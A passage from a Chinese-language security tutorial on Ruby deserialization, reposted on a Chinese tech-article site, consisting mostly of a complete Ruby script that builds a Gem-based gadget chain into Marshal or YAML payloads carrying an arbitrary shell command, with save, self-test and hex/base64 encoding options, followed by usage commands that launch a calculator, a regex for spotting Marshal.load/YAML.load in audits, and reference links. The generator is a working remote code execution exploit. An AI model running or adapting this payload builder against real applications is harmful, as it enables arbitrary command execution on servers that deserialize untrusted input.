  return args
end
end

class Tester
  def self.test(type, payload, payload_file)
      puts "[*] Deserializing payload "+ type +" in place"
      if type == "yaml" then
          # If we have an exception, we're quite sure we triggered the RCE
          YAML.load(File.read(payload_file)) rescue (puts "[+] Payload Executed Successfully")
      else
          Marshal.load(payload) rescue nil
      end
      puts "[*] Deserializing payload " + type + " in new process"
      if type == "yaml" then
          # If we triggered an exception above, this one should execute the command and print a visible result (and exception)
          cmd_string = "require 'yaml';YAML.load(File.read('"+payload_file+"'))"
          puts cmd_string
          puts IO.popen(["ruby","-e", cmd_string]).read
      else
          cmd_string = "'Marshal.load(STDIN.read) rescue nil'"
          IO.popen(cmd_string, "r+") do |pipe|
              pipe.print payload
              pipe.close_write
              puts pipe.gets
              puts
          end
      end
  end
end

args = Parser.parse ARGV

if not args[:command] then
  abort("[-] Command required")
else
  command_length = args.command.length
  command = "|"+args.command+" 1>&2"
end

class Gem::StubSpecification
  def initialize; end
end

command_tag = "|echo " + "A" * (command_length-5) + " 1>&2"
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, command_tag)

puts "[+] Building payload"
stub_specification.name rescue nil

class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

specific_file <=> other_specific_file rescue nil

$dependency_list = Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

$dependency_list.each{} rescue nil
dependency_list = $dependency_list

class Gem::Requirement
  def marshal_dump
      [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

type = (args.yaml ? "yaml" : "marshal")
if type == "yaml" then
  ext = ".yml"
  gem = Gem::Requirement.new
  gem.instance_variable_set(:@requirements, [dependency_list])
  payload = YAML.dump(gem)
else
  ext = ".raw"
  payload = Marshal.dump(Gem::Requirement.new)
end

payload = payload.gsub(command_tag,command)


if args[:save]
  payload_file = args[:save] + ext
  File.open(payload_file, 'w') { |file| file.write(payload) }
end

if args[:test] then
  puts "[+] Deserializing payload"
  Tester.test(type, payload, payload_file)
end

print args.encode
encode = ( args[:encode] ? args[:encode] : "")

if encode == "hex" then
  puts "Payload (hex):"
  puts payload.unpack('H*')[0]
  puts
elsif encode == "base64"
  require 'base64'
  puts "Payload (base64):"
  puts Base64.encode64(payload)
  puts
else
  puts "Payload (raw):"
  puts payload
  puts
end

我们可以使用以下命令生成 YAML 负载:

ruby serializer.rb -c "cmd /c calc" -y -s payload

要测试有效负载,请运行:

ruby -e "require 'yaml'; YAML.load(File.read('payload.yml'))"

主机上将会弹出计算器。

2.6.4 源代码审计小技巧

要找到这种漏洞,搜索常见正则表达式的代码通常是一个好的开始,例如:

  • (Marshal.load|YAML.load)\s*\(

对于每个匹配项,应该手动检查代码以查看被反序列化的对象是否可以被外部攻击者操纵。

参考链接

JAVA

  • Deserialization - ExploitDB

  • [OWASP London 2017] (https://www.owasp.org/images/a/a3/OWASP-London-2017-May-18-ApostolosGiannakidis-JavaDeserializationTalk.pdf)

  • Marshalsec

  • Deserialization Defence - LAOIS

  • Deserialization Cheatsheet

  • DeserLab

.NET

  • Analyse Binary Serialization Stream

  • ysoserial.net

  • Are you my type?

  • Friday the 13th: JSON Attacks

NodeJS

  • https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

PHP

  • Magic-Methods

  • PHP Object Injection

Python

  • PyYAML - Exploit-DB

  • Exploiting jsonpickle

Ruby

  • Universal RCE for Ruby 2.x

  • Universal RCE for Ruby2.x - YAML





文章转载自StepSnail,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论